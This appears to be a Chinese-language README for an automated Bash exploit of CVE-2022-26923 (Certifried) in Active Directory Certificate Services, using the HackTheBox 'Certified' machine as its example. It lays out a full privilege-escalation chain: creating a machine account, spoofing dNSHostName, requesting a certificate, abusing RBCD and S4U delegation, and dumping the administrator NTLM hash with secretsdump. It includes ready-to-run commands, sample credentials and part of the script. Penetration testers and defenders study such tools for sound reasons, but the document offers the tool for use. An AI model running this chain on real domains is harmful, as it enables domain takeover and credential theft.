Certifried 自动化利用工具 (CVE-2022-26923)
本项目提供了一个自动化 Bash 脚本,用于利用 CVE-2022-26923 (Certifried) 漏洞。该漏洞存在于 Active Directory 证书服务 (AD CS) 中,允许经过身份验证的域用户通过精心构造的证书请求,将低权限的计算机账户权限提升至域管理员级别。脚本通过自动化执行完整的攻击链,最终获取域管理员账户的 NTLM 哈希。
功能特性
- 一键化漏洞利用:从创建恶意计算机账户到最终获取 NTLM 哈希,全程自动化。
- CVE-2022-26923 核心利用:通过修改计算机账户的
dNSHostName属性,欺骗证书颁发机构 (CA) 签发可用于模拟域控制器的证书。 - 自动 RBCD 滥用:利用获取的证书进行身份验证,并自动配置基于资源的约束性委派 (RBCD),赋予指定账户委派权限。
- Kerberos 委派链:自动执行 S4U2Self 和 S4U2Proxy 步骤,为高权限目标账户(如域管理员)请求服务票据。
- NTLM 哈希提取:最后一步自动调用 Impacket 的
secretsdump.py,通过获取的票据导出目标账户的 NTLM 哈希。 - 灵活的参数配置:支持通过命令行参数指定 Domain Controller IP、域名、用户凭据、CA 名称等关键信息。
- 详细的执行过程:提供
--verbose模式,可显示每一步执行的命令,便于理解和调试。
安装指南
系统要求
- 运行 Linux 的机器(推荐 Ubuntu / Debian)
- 能够与目标 Domain Controller 网络互通
依赖工具
该脚本依赖于以下 Python 工具和系统包,请确保它们已正确安装并可用:
- Impacket:提供
getST.py和secretsdump.py等脚本。pipx install impacket # 或使用 pip3: pip3 install impacket - certipy-ad:用于与 AD CS 交互,请求和认证证书。
pipx install certipy-ad - bloodyAD:用于修改 Active Directory 对象属性,例如设置
msDS-AllowedToActOnBehalfOfOtherIdentity(RBCD)。pipx install bloodyad - OpenSSL:用于处理证书和密钥文件。
sudo apt update && sudo apt install openssl -y
脚本安装
- 下载本项目中的
CVE-2022-26923.sh脚本。 - 赋予其执行权限:
chmod +x CVE-2022-26923.sh
使用说明
基础用法
最简运行方式是指定必要的 Domain Controller IP、域名、有效域用户及其密码。其他参数将使用脚本内建的默认值。
./CVE-2022-26923.sh -d <DC_IP> -D <DOMAIN> -u <USER@DOMAIN> -p <PASSWORD>
典型使用场景 (HackTheBox: Certified 机器示例)
以下命令演示了在 HTB "Certified" 机器上的典型利用方式:
./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u steven.murray@certifried.htb \
-p 'Ch4ng3m3!' \
--verbose
高级选项
可以通过更多参数对攻击过程进行精细控制,例如指定要创建的计算机账户名、证书模板、目标 CA 以及要模拟的账户。
./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u steven.murray@certifried.htb \
-p 'Ch4ng3m3!' \
-c "MYCONTROLLEDPC" \
-C "P@ssw0rd123!" \
-a "certifried-DC-CA" \
-t "Machine" \
-i "administrator"
命令选项概览
| 简短参数 | 长参数 | 描述 | 默认值 |
|---|---|---|---|
-d | --dc-ip | Domain Controller 的 IP 地址 | 10.129.1.39 |
-D | --domain | 目标域名 | certifried.htb |
-u | --user | 有效域用户的 UPN (user@domain) | steven.murray@certifried.htb |
-p | --pass | 该用户的密码 | Ch4ng3m3! |
-c | --comp-name | 要创建的计算机账户名 | PWNED |
-C | --comp-pass | 该计算机账户的密码 | Passw0rd! |
-a | --ca-name | 证书颁发机构 (CA) 的名称 | certifried-DC-CA |
-t | --template | 要使用的证书模板 | Machine |
-f | --pfx-file | 生成的证书文件名 | dc.pfx |
-H | --dc-hostname | DC 的主机名 | dc |
-A | --dc-account | DC 的账户名 | dc$ |
-i | --impersonate | 要模拟的目标账户 | administrator |
--verbose | 显示执行的每一条命令 (调试模式) | 关闭 | |
-h | --help | 显示帮助信息 |
预期输出
脚本成功执行后,你将看到:
- 生成了一个包含目标管理员账户服务票据的
.ccache文件(例如administrator.ccache)。 secretsdump.py成功运行,并在终端输出目标管理员账户的 NTLM 哈希。
如果后续需要手动使用获取的票据进行哈希转储,可以使用以下命令:
KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/administrator@dc.certifried.htb \
-k -no-pass -dc-ip 10.129.1.39
核心代码
1. 主脚本框架与参数解析
脚本开头定义了颜色变量和默认参数,并通过 getopts 风格的循环处理用户输入的命令行选项,将参数映射到内部变量。
#!/bin/bash
# ===== Couleurs =====
RED="\033[1;31m"
GREEN="\033[1;32m"
YELLOW="\033[1;33m"
CYAN="\033[1;36m"
RESET="\033[0m"
# ===== Valeurs par défaut =====
COMP_NAME="PWNED"
COMP_PASS="Passw0rd!"
# ... 其他默认值
# ===== Parse options =====
while [[ $# -gt 0 ]]; do
case "$1" in
-d|--dc-ip) DC_IP="$2"; shift 2;;
-D|--domain) DOMAIN="$2"; shift 2;;
-u|--user) USER="$2"; shift 2;;
-p|--pass) PASS="$2"; shift 2;;
# ... 其他选项
--verbose) set -x; shift;; # 开启调试模式
-h|--help) usage;;
*) echo "Option inconnue: $1"; usage;;
esac
done
2. 攻击链核心逻辑 (概念性流程)
虽然脚本主体是 Bash,但其核心逻辑是调用一系列外部工具来完成攻击。以下是注释中体现的攻击流程,清晰地展示了每一步的作用。
# 脚本内注释描述的攻击链
# Machine Account Creation (1. 创建恶意机器账户)
# ↓
# dNSHostName spoofing (2. 通过 bloodyAD 修改其 dNSHostName 为 DC 的 FQDN)
# ↓
# Certificate Request (Machine Template) (3. 使用 certipy 请求基于 Machine 模板的证书)
# ↓
# Authentication via PFX (4. 使用获得的证书 (PFX) 进行身份验证)
# ↓
# RBCD abuse (bloodyAD) (5. 利用 bloodyAD 设置 RBCD,允许恶意账户模拟任意用户访问 DC)
# ↓
# S4U2Self + S4U2Proxy (6. 使用 getST.py 触发 Kerberos 委派,为 administrator 请求 ST)
# ↓
# Kerberos Ticket extraction (7. 获得 administrator 的服务票据)
# ↓
# NTLM dump via secretsdump (8. 使用票据通过 secretsdump.py 导出 administrator 的 NTLM 哈希)
3. 关键利用点:修改 dNSHostName
漏洞利用的核心在于创建一个新的计算机账户,并将其 dNSHostName 属性修改为域控制器的完整主机名。这样,当该账户请求基于计算机(Machine)模板的证书时,CA 会错误地为其颁发一个能够模拟域控制器的证书。这一步通常由 bloodyAD 完成。
# 伪代码示例,展示核心修改操作
# bloodyAD 命令用于修改新创建计算机账户的 dNSHostName 属性
# 目标: 将新建的计算机账户 (PWNED$) 的 dNSHostName 设置为域控制器 (dc.certifried.htb) 的 FQDN
# bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" setObjectAttribute \
# "CN=$COMP_NAME,CN=Computers,DC=$DOMAIN,DC=..." dNSHostName "['$DC_FULL_HOSTNAME']"
6HFtX5dABrKlqXeO5PUv/yAFAkuknGlp90FAUKIBhSA=